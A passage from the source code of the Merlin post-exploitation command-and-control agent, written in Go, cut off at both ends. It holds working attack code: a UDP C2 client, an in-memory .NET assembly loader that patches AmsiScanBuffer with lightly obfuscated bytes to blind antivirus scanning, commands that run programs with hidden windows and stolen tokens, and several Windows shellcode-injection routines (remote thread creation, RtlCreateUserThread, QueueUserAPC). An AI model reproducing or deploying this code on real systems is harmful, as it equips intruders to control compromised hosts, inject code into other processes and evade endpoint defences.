client.connection.RemoteAddr(), client.client, time.Now().UTC().Format(time.RFC3339))) } i++ size = size - MaxSize // UDP packets seemed to get dropped if too many are sent too fast if fragments > 100 { time.Sleep(time.Millisecond * 10) } } if err != nil { err = fmt.Errorf("clients/udp.Send(): there was an error writing the message to the connection with %s: %s", client.client, err) return } if client.mode == BIND { cli.Message(cli.NOTE, fmt.Sprintf("Wrote %d bytes to connection %s from %s at %s", len(outData), client.client, client.address, time.Now().UTC().Format(time.RFC3339))) } else { cli.Message(cli.NOTE, fmt.Sprintf("Wrote %d bytes to connection %v from %v at %s", len(outData), client.connection.RemoteAddr(), client.connection.LocalAddr(), time.Now().UTC().Format(time.RFC3339))) } return } // SendAndWait takes in a Merlin message, encodes/encrypts it, and writes it to the output stream and then waits for response // messages and returns them func (client *Client) SendAndWait(m messages.Base) (returnMessages []messages.Base, err error) { cli.Message(cli.DEBUG, "Entering into clients/udp.SendAndWait()...") // Send returnMessages, err = client.Send(m) if err != nil { err = fmt.Errorf("clients/udp.SendAndWait(): %s", err) return } // Listen return client.Listen() } // Get is a generic function that is used to retrieve the value of a Client's field func (client *Client) Get(key string) (value string) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Get(): entering into function with key: %s", key)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Get(): leaving function with value: %s", value)) switch strings.ToLower(key) { case "ja3": return "" case "paddingmax": value = strconv.Itoa(client.paddingMax) case "protocol": value = client.String() default: value = fmt.Sprintf("unknown client configuration setting: %s", key) } return } // ResetListener closes the listener for BIND Agents and sets it and the client to nil to facilitate a new client connection func (client *Client) ResetListener() (err error) { cli.Message(cli.DEBUG, "clients/udp.ResetListener(): entering into function...") defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.ResetListener(): leaving function with error: %v", err)) if client.listener != nil { cli.Message(cli.NOTE, fmt.Sprintf("UDP listener reset at %s", time.Now().UTC().Format(time.RFC3339))) err = client.listener.Close() if err != nil { return fmt.Errorf("clients/udp.ResetListener(): there was an error closing the listener: %s", err) } client.Lock() client.listener = nil client.client = nil client.Unlock() if len(client.connected) > 0 { <-client.connected } } return } // Set is a generic function that is used to modify a Client's field values func (client *Client) Set(key string, value string) (err error) { cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Set(): entering into function with key: %s, value: %s", key, value)) defer cli.Message(cli.DEBUG, fmt.Sprintf("clients/udp.Set(): exiting function with err: %v", err)) client.Lock() defer client.Unlock() switch strings.ToLower(key) { case "addr": // Validate address _, err = net.ResolveUDPAddr("udp", value) if err != nil { err = fmt.Errorf("clients/udp.Set(): there was an error parsing the provide address %s : %s", value, err) return } client.address = value if client.mode == BIND { err = client.ResetListener() } else { client.connection = nil client.listener = nil } case "bind": err = client.ResetListener() case "listener": var id uuid.UUID id, err = uuid.Parse(value) if err != nil { return fmt.Errorf("clients/udp.Set(): %s", err) } client.listenerID = id case "paddingmax": client.paddingMax, err = strconv.Atoi(value) case "secret": client.secret = []byte(value) default: err = fmt.Errorf("unknown udp client setting: %s", key) } return err } // String returns the type of UDP client func (client *Client) String() string { switch client.mode { case BIND: return "udp-bind" case REVERSE: return "udp-reverse" default: return "udp-unhandled" } } func (client *Client) Synchronous() bool { switch client.mode { case BIND: return true case REVERSE: return true default: return false } } ================================================ FILE: clients/udp/udp_exclude.go ================================================ //go:build !udp && (http || http1 || http2 || http3 || mythic || winhttp || smb || tcp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package udp contains a configurable client used for UDP-based peer-to-peer Agent communications package udp import ( // Standard "fmt" // 3rd Party "github.com/google/uuid" // Internal messages "github.com/Ne0nd0g/merlin-message" ) // Client is a type of MerlinClient that is used to send and receive Merlin messages from the Merlin server type Client struct { } // Config is a structure used to pass in all necessary information to instantiate a new Client type Config struct { Address []string // Address the interface and port the agent will bind to AgentID uuid.UUID // AgentID the Agent's UUID AuthPackage string // AuthPackage the type of authentication the agent should use when communicating with the server ListenerID uuid.UUID // ListenerID the UUID of the listener that this Agent is configured to communicate with Padding string // Padding the max amount of data that will be randomly selected and appended to every message PSK string // PSK the Pre-Shared Key secret the agent will use to start authentication Transformers string // Transformers is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message Mode string // Mode the type of client or communication mode (e.g., BIND or REVERSE) } // New instantiates and returns a Client that is constructed from the passed in Config func New(Config) (*Client, error) { return nil, fmt.Errorf("clients/udp.New(): UDP client not compiled into this program") } // Authenticate is the top-level function used to authenticate an agent to server using a specific authentication protocol // The function must take in a Base message for when the C2 server requests re-authentication through a message func (client *Client) Authenticate(messages.Base) (err error) { return fmt.Errorf("clients/udp.Authenticate(): UDP client not compiled into this program") } // Get is a generic function used to retrieve the value of a Client's field func (client *Client) Get(string) string { return fmt.Sprintf("clients/udp.Get(): UDP client not compiled into this program") } // Initial executes the specific steps required to establish a connection with the C2 server and checkin or register an agent func (client *Client) Initial() error { return fmt.Errorf("clients/udp.Initial(): UDP client not compiled into this program") } // Listen waits for incoming data on an established TCP connection, deconstructs the data into a Base messages, and returns them func (client *Client) Listen() (returnMessages []messages.Base, err error) { err = fmt.Errorf("clients/udp.LIsten(): UDP client not compiled into this program") return } // Send takes in a Merlin message structure, performs any encoding or encryption, converts it to a delegate and writes it to the output stream. // This function DOES not wait or listen for response messages. func (client *Client) Send(messages.Base) (returnMessages []messages.Base, err error) { err = fmt.Errorf("clients/udp.Send(): UDP client not compiled into this program") return } // Set is a generic function that is used to modify a Client's field values func (client *Client) Set(key string, value string) error { return fmt.Errorf("clients/udp.Set(): UDP client not compiled into this program") } // Synchronous identifies if the client connection is synchronous or asynchronous, used to determine how and when messages // can be sent/received. func (client *Client) Synchronous() bool { return false } ================================================ FILE: commands/clr.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" // Merlin Main "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // CLR is the entrypoint for Jobs that are processed to determine which CLR function should be executed func CLR(cmd jobs.Command) jobs.Results { cli.Message(cli.DEBUG, fmt.Sprintf("entering CLR() with %+v", cmd)) return jobs.Results{ Stderr: "the CLR module is not supported by this agent type", } } ================================================ FILE: commands/clr_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "encoding/base64" "fmt" "strings" // 3rd Party clr "github.com/Ne0nd0g/go-clr" // Merlin Main "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/core" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/evasion" ) // runtimeHost is the main object used to interact with the CLR to load and invoke assemblies var runtimeHost *clr.ICORRuntimeHost // assemblies is a list of the loaded assemblies that can be invoked var assemblies = make(map[string]assembly) // redirected tracks if STDOUT/STDERR have been redirected for the CLR so that they can be captured // and send back to the server var redirected bool var patched bool // assembly is a structure to represent a loaded assembly that can subsequently be invoked type assembly struct { name string version string methodInfo *clr.MethodInfo } // CLR is the entrypoint for Jobs that are processed to determine which CLR function should be executed func CLR(cmd jobs.Command) jobs.Results { clr.Debug = core.Debug if len(cmd.Args) > 0 { cli.Message(cli.SUCCESS, fmt.Sprintf("CLR module command: %s", cmd.Args[0])) switch strings.ToLower(cmd.Args[0]) { case "start": return startCLR(cmd.Args[1]) case "list-assemblies": return listAssemblies() case "load-assembly": return loadAssembly(cmd.Args[1:]) case "load-clr": return startCLR(cmd.Args[1]) case "invoke-assembly": return invokeAssembly(cmd.Args[1:]) default: j := jobs.Results{ Stderr: fmt.Sprintf("unrecognized CLR command: %s", cmd.Args[0]), } return j } } j := jobs.Results{ Stderr: "no arguments were provided to the CLR module", } return j } // startCLR loads the CLR runtime version number from Args[0] into the current process func startCLR(runtime string) (results jobs.Results) { cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for startCLR function: %s", runtime)) var err error // Redirect STDOUT/STDERR so it can be captured if !redirected { err = clr.RedirectStdoutStderr() if err != nil { results.Stderr = fmt.Sprintf("there was an error redirecting STDOUT/STDERR:\n%s", err) cli.Message(cli.WARN, results.Stderr) return } } // Load the CLR and an ICORRuntimeHost instance if runtime == "" { runtime = "v4" } runtimeHost, err = clr.LoadCLR(runtime) if err != nil { results.Stderr = fmt.Sprintf("there was an error calling the startCLR function:\n%s", err) cli.Message(cli.WARN, results.Stderr) return } results.Stdout = fmt.Sprintf("\nThe %s .NET CLR runtime was successfully loaded", runtime) // Patch AMSI ScanBuffer if !patched { patch := []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1} out, err := evasion.Patch("amsi.dll", "AmsiScanBuffer", &patch) if err != nil { results.Stderr = fmt.Sprintf("there was an error patching the amsi!ScanBuffer function: %s", err) } else { results.Stdout += fmt.Sprintf("\n%s", out) patched = true } } cli.Message(cli.SUCCESS, results.Stdout) return } // loadAssembly loads an assembly into the runtimeHost's default AppDomain func loadAssembly(args []string) (results jobs.Results) { cli.Message(cli.DEBUG, "Entering into clr.loadAssembly()...") //cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for loadAssembly function: %+v", args)) if len(args) > 1 { var a assembly a.name = strings.ToLower(args[1]) for _, v := range assemblies { if v.name == a.name { results.Stderr = fmt.Sprintf("the '%s' assembly is already loaded", a.name) cli.Message(cli.WARN, results.Stderr) return } } // Load the v4 runtime if there are not any runtimes currently loaded if runtimeHost == nil { results = startCLR("") if results.Stderr != "" { return } } // Base64 decode Arg[1], the assembly bytes assembly, err := base64.StdEncoding.DecodeString(args[0]) if err != nil { results.Stderr = fmt.Sprintf("there was an error decoding the Base64 string: %s", err) cli.Message(cli.WARN, results.Stderr) return } // Load the assembly a.methodInfo, err = clr.LoadAssembly(runtimeHost, assembly) if err != nil { // HRESULT: 0x8007000b COR_E_BADIMAGEFORMAT // https://referencesource.microsoft.com/#mscorlib/system/__hresults.cs,7041cd5c9aa1948b,references results.Stderr = fmt.Sprintf("there was an error calling the loadAssembly function:\n%s", err) cli.Message(cli.WARN, results.Stderr) return } assemblies[a.name] = a results.Stdout += fmt.Sprintf("\nSuccessfully loaded %s into the default AppDomain", a.name) cli.Message(cli.SUCCESS, results.Stdout) return } results.Stderr = fmt.Sprintf("expected 2 arguments for the load-assembly command, received %d", len(args)) cli.Message(cli.WARN, results.Stderr) return } // invokeAssembly executes a previously loaded assembly func invokeAssembly(args []string) (results jobs.Results) { cli.Message(cli.DEBUG, "Entering into clr.invokeAssembly()...") cli.Message(cli.DEBUG, fmt.Sprintf("Received input parameter for invokeAssembly function: %+v", args)) cli.Message(cli.NOTE, fmt.Sprintf("Invoking .NET assembly: %s", args)) if len(args) > 0 { var isLoaded bool var a assembly for _, v := range assemblies { if v.name == strings.ToLower(args[0]) { isLoaded = true a = v } } if isLoaded { // Setup OS environment, if any err := Setup() if err != nil { results.Stderr = err.Error() return } defer TearDown() core.Mutex.Lock() results.Stdout, results.Stderr = clr.InvokeAssembly(a.methodInfo, args[1:]) core.Mutex.Unlock() cli.Message(cli.DEBUG, "Leaving clr.invokeAssembly() function without error") return } results.Stderr = fmt.Sprintf("the '%s' assembly is not loaded", args[0]) cli.Message(cli.WARN, results.Stderr) return } results.Stderr = fmt.Sprintf("expected at least 1 arguments for the invokeAssembly function, received %d", len(args)) cli.Message(cli.WARN, results.Stderr) return } // listAssemblies enumerates the loaded .NET assemblies and returns them func listAssemblies() (results jobs.Results) { results.Stdout = "Loaded Assemblies:\n" for _, v := range assemblies { results.Stdout += fmt.Sprintf("%s\n", v.name) } cli.Message(cli.SUCCESS, results.Stdout) return } ================================================ FILE: commands/download.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "encoding/base64" "fmt" "os" "path/filepath" // Merlin Main "github.com/Ne0nd0g/merlin-message/jobs" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // Download receives a job from the server to download a file to host where the Agent is running func Download(transfer jobs.FileTransfer) (result jobs.Results) { cli.Message(cli.DEBUG, "Entering into commands.Download() function") // Agent will be downloading a file from the server cli.Message(cli.NOTE, "FileTransfer type: Download") // Setup OS environment, if any err := Setup() if err != nil { result.Stderr = err.Error() return } // Defer TearDown and return any errors defer func() { err = TearDown() if err != nil { result.Stderr += fmt.Sprintf("there was an error tearing down the OS environment when executing the 'cd' command: %s", err) } }() _, directoryPathErr := os.Stat(filepath.Dir(transfer.FileLocation)) if directoryPathErr != nil { result.Stderr = fmt.Sprintf("There was an error getting the FileInfo structure for the remote "+ "directory %s:\r\n", transfer.FileLocation) result.Stderr += directoryPathErr.Error() } if result.Stderr == "" { cli.Message(cli.NOTE, fmt.Sprintf("Writing file to %s", transfer.FileLocation)) downloadFile, downloadFileErr := base64.StdEncoding.DecodeString(transfer.FileBlob) if downloadFileErr != nil { result.Stderr = downloadFileErr.Error() } else { errF := os.WriteFile(transfer.FileLocation, downloadFile, 0600) if errF != nil { result.Stderr = errF.Error() } else { result.Stdout = fmt.Sprintf("Successfully uploaded file to %s", transfer.FileLocation) } } } return result } ================================================ FILE: commands/env.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "fmt" "os" "strings" // Merlin "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // env is used to view or modify a host's environment variables func env(Args []string) (resp string, stderr string) { cli.Message(cli.DEBUG, fmt.Sprintf("entering ENV() with args: %+v...", Args)) if len(Args) > 0 { switch strings.ToLower(Args[0]) { case "get": if len(Args) < 2 { stderr = fmt.Sprintf("not enough arguments for the env get command: %+v", Args) return } resp = fmt.Sprintf("\nEnvironment variable %s=%s", Args[1], os.Getenv(Args[1])) case "set": if len(Args) < 3 { stderr = fmt.Sprintf("not enough arguments for the env set command: %+v", Args) return } err := os.Setenv(Args[1], Args[2]) if err != nil { stderr = fmt.Sprintf("there was an error setting the %s environment variable:\n%s", Args[1], err) return } resp = fmt.Sprintf("\nSet environment variable: %s=%s", Args[1], Args[2]) case "showall": resp += "\nEnvironment variables:\n" for _, element := range os.Environ() { resp += fmt.Sprintf("%s\n", element) } case "unset": if len(Args) < 2 { stderr = fmt.Sprintf("not enough arguments for the env unset command: %+v", Args) return } err := os.Unsetenv(Args[1]) if err != nil { stderr = fmt.Sprintf("there was an error unsetting the %s environment variable:\n%s", Args[1], err) return } resp = fmt.Sprintf("\nUnset environment variable: %s", Args[1]) default: stderr = fmt.Sprintf("Invlalid env command: %s", Args[0]) } return } stderr = "an argument was not provided to the env command" return } ================================================ FILE: commands/exec.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "errors" "fmt" "os/exec" ) // ExecuteCommand is a function used to instruct an agent to execute a command on the host operating system func executeCommand(name string, args []string) (stdout string, stderr string) { cmd := exec.Command(name, args...) // #nosec G204 out, err := cmd.CombinedOutput() if cmd.Process != nil { stdout = fmt.Sprintf("Created %s process with an ID of %d\n", name, cmd.Process.Pid) } stdout += string(out) if err != nil { stderr = err.Error() } return stdout, stderr } // ExecuteShellcodeSelf executes provided shellcode in the current process // //lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used func ExecuteShellcodeSelf(shellcode []byte) error { return errors.New("shellcode execution is not implemented for this operating system") } // ExecuteShellcodeRemote executes provided shellcode in the provided target process // //lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used func ExecuteShellcodeRemote(shellcode []byte, pid uint32) error { return errors.New("shellcode execution is not implemented for this operating system") } // ExecuteShellcodeRtlCreateUserThread executes provided shellcode in the provided target process using the Windows RtlCreateUserThread call // //lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used func ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error { return errors.New("shellcode execution is not implemented for this operating system") } // ExecuteShellcodeQueueUserAPC executes provided shellcode in the provided target process using the Windows QueueUserAPC API call // //lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used func ExecuteShellcodeQueueUserAPC([]byte, uint32) error { return errors.New("shellcode execution is not implemented for this operating system") } // ExecuteShellcodeCreateProcessWithPipe creates a child process, redirects STDOUT/STDERR to an anonymous pipe, injects/executes shellcode, and retrieves output // //lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used func ExecuteShellcodeCreateProcessWithPipe(string, string, string) (stdout string, stderr string, err error) { return stdout, stderr, fmt.Errorf("CreateProcess modules in not implemented for this operating system") } // miniDump is a Windows only module function to dump the memory of the provided process // //lint:ignore SA4009 Function needs to mirror exec_windows.go and inputs must be used func miniDump(string, string, uint32) (map[string]interface{}, error) { var mini map[string]interface{} return mini, errors.New("minidump doesn't work on non-windows hosts") } ================================================ FILE: commands/exec_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package commands import ( // Standard "encoding/base64" "encoding/binary" "errors" "fmt" "io/ioutil" "os" "os/exec" "syscall" "unicode/utf8" "unsafe" // X Packages "golang.org/x/sys/windows" // Sub Repositories "github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/kernel32" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/api/ntdll" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/pipes" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/text" "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens" ) // executeCommand instruct an agent to execute a program on the host operating system func executeCommand(name string, args []string) (stdout string, stderr string) { attr := &syscall.SysProcAttr{ HideWindow: true, Token: syscall.Token(tokens.Token), } return executeCommandWithAttributes(name, args, attr) } // executeCommandWithAttributes starts the process with the provided system process attributes and returns the output // https://pkg.go.dev/syscall?GOOS=windows#SysProcAttr func executeCommandWithAttributes(name string, args []string, attr *syscall.SysProcAttr) (stdout string, stderr string) { application, err := exec.LookPath(name) if err != nil { stderr = fmt.Sprintf("there was an error resolving the absolute path for %s: %s", application, err) return } // #nosec G204 -- Subprocess must be launched with a variable cmd := exec.Command(application, args...) cmd.SysProcAttr = attr out, err := cmd.CombinedOutput() if cmd.Process != nil { stdout = fmt.Sprintf("Created %s process with an ID of %d\n", application, cmd.Process.Pid) } // Convert the output to a string if utf8.Valid(out) { stdout += string(out) } else { s, e := text.DecodeString(out) if e != nil { stderr = fmt.Sprintf("%s\n", e) } else { stdout += s } } if err != nil { stderr += err.Error() } return stdout, stderr } // ExecuteShellcodeSelf executes provided shellcode in the current process func ExecuteShellcodeSelf(shellcode []byte) error { addr, err := windows.VirtualAlloc(uintptr(0), uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeSelf: there was an error calling Windows API VirtualAlloc: %s", err) } err = ntdll.RtlCopyMemory(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uint32(len(shellcode))) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeSelf: %s", err) } var lpflOldProtect uint32 err = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API VirtualProtect: %s", err) } // Execute the shellcode _, _, err = syscall.SyscallN(addr, 0) if err != windows.Errno(0) { return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: there was an error executing the shellcode by making a syscall on the start address: %s", err) } return nil } // ExecuteShellcodeRemote executes provided shellcode in the provided target process func ExecuteShellcodeRemote(shellcode []byte, pid uint32) error { // Setup OS environment, if any err := Setup() if err != nil { return err } defer TearDown() desiredAccess := uint32(windows.PROCESS_CREATE_THREAD | windows.PROCESS_QUERY_INFORMATION | windows.PROCESS_VM_OPERATION | windows.PROCESS_VM_WRITE | windows.PROCESS_VM_READ) handle, err := windows.OpenProcess(desiredAccess, false, pid) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API OpenProcess: %s", err) } defer windows.CloseHandle(handle) addr, err := kernel32.VirtualAllocEx(uintptr(handle), 0, len(shellcode), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: %s", err) } if addr == 0 { return errors.New("VirtualAllocEx failed and returned 0") } var lpNumberOfBytesWritten uintptr err = windows.WriteProcessMemory(handle, addr, &shellcode[0], uintptr(len(shellcode)), &lpNumberOfBytesWritten) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API WriteProcessMemory: %s", err) } var lpflOldProtect uint32 err = windows.VirtualProtectEx(handle, addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: there was an error calling Windows API VirtualProtectEx: %s", err) } _, err = kernel32.CreateRemoteThreadEx(uintptr(handle), 0, 0, addr, 0, 0, 0, 0) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRemote: %s", err) } return nil } // ExecuteShellcodeRtlCreateUserThread executes provided shellcode in the provided target process using the Windows RtlCreateUserThread call func ExecuteShellcodeRtlCreateUserThread(shellcode []byte, pid uint32) error { // Setup OS environment, if any err := Setup() if err != nil { return err } defer TearDown() desiredAccess := uint32(windows.PROCESS_CREATE_THREAD | windows.PROCESS_QUERY_INFORMATION | windows.PROCESS_VM_OPERATION | windows.PROCESS_VM_WRITE | windows.PROCESS_VM_READ) handle, err := windows.OpenProcess(desiredAccess, false, pid) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: there was an error calling Windows API OpenProcess: %s", err) } defer windows.CloseHandle(handle) addr, err := kernel32.VirtualAllocEx(uintptr(handle), 0, len(shellcode), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: %s", err) } if addr == 0 { return errors.New("VirtualAllocEx failed and returned 0") } var lpNumberOfBytesWritten uintptr err = windows.WriteProcessMemory(handle, addr, &shellcode[0], uintptr(len(shellcode)), &lpNumberOfBytesWritten) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: there was an error calling Windows API WriteProcessMemory: %s", err) } var lpflOldProtect uint32 err = windows.VirtualProtectEx(handle, addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: there was an error calling Windows API VirtualProtectEx: %s", err) } var tHandle uintptr _, err = ntdll.RtlCreateUserThread(uintptr(handle), 0, 0, 0, 0, 0, addr, 0, uintptr(unsafe.Pointer(&tHandle)), 0) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: %s", err) } _, err = windows.WaitForSingleObject(windows.Handle(tHandle), windows.INFINITE) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeRtlCreateUserThread: %s", err) } return nil } // ExecuteShellcodeQueueUserAPC executes provided shellcode in the provided target process using the Windows QueueUserAPC API call func ExecuteShellcodeQueueUserAPC(shellcode []byte, pid uint32) error { // TODO this can be local or remote // Setup OS environment, if any err := Setup() if err != nil { return err } defer TearDown() // Consider using NtQuerySystemInformation to replace CreateToolhelp32Snapshot AND to find a thread in a wait state // https://stackoverflow.com/questions/22949725/how-to-get-thread-state-e-g-suspended-memory-cpu-usage-start-time-priori dwFlags := uint32(windows.TH32CS_SNAPTHREAD | windows.TH32CS_SNAPHEAPLIST | windows.TH32CS_SNAPMODULE | windows.TH32CS_SNAPPROCESS) pSnapshot, err := windows.CreateToolhelp32Snapshot(dwFlags, pid) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API CreateToolhelp32Snapshot: %s", err) } defer windows.CloseHandle(pSnapshot) desiredAccess := uint32(windows.PROCESS_CREATE_THREAD | windows.PROCESS_QUERY_INFORMATION | windows.PROCESS_VM_OPERATION | windows.PROCESS_VM_WRITE | windows.PROCESS_VM_READ) handle, err := windows.OpenProcess(desiredAccess, false, pid) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API OpenProcess: %s", err) } defer windows.CloseHandle(handle) addr, err := kernel32.VirtualAllocEx(uintptr(handle), 0, len(shellcode), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: %s", err) } if addr == 0 { return errors.New("VirtualAllocEx failed and returned 0") } var lpNumberOfBytesWritten uintptr err = windows.WriteProcessMemory(handle, addr, &shellcode[0], uintptr(len(shellcode)), &lpNumberOfBytesWritten) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API WriteProcessMemory: %s", err) } var lpflOldProtect uint32 err = windows.VirtualProtectEx(handle, addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &lpflOldProtect) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API VirtualProtectEx: %s", err) } threadEntry := windows.ThreadEntry32{ Size: uint32(unsafe.Sizeof(windows.ThreadEntry32{})), } err = windows.Thread32First(pSnapshot, &threadEntry) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API Thread32First: %s", err) } i := true x := 0 // Queue an APC for every thread; very unstable and not ideal, need to programmatically find alertable thread for i { err = windows.Thread32Next(pSnapshot, &threadEntry) if err != nil { // There are no more files. if err == windows.ERROR_NO_MORE_FILES { i = false break } return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API Thread32Next: %s", err) } if threadEntry.OwnerProcessID == pid { if x > 0 { var hThread windows.Handle hThread, err = windows.OpenThread(windows.THREAD_SET_CONTEXT, false, threadEntry.ThreadID) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API OpenThread: %s", err) } //fmt.Printf("Queueing APC for PID: %d, Thread %d\n", pid, threadEntry.ThreadID) err = kernel32.QueueUserAPC(addr, uintptr(hThread), 0) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: %s", err) } x++ err = windows.CloseHandle(hThread) if err != nil { return fmt.Errorf("commands/exec.ExecuteShellcodeQueueUserAPC: there was an error calling Windows API CloseHandle: %s", err) } } else { x++ } } } return nil } // ExecuteShellcodeCreateProcessWithPipe creates a child process, redirects STDOUT/STDERR to an anonymous pipe, injects/executes shellcode, and retrieves output // Returns STDOUT and STDERR from process execution. Any encountered errors in this function are also returned in STDERR func ExecuteShellcodeCreateProcessWithPipe(sc string, spawnto string, args string) (stdout string, stderr string, err 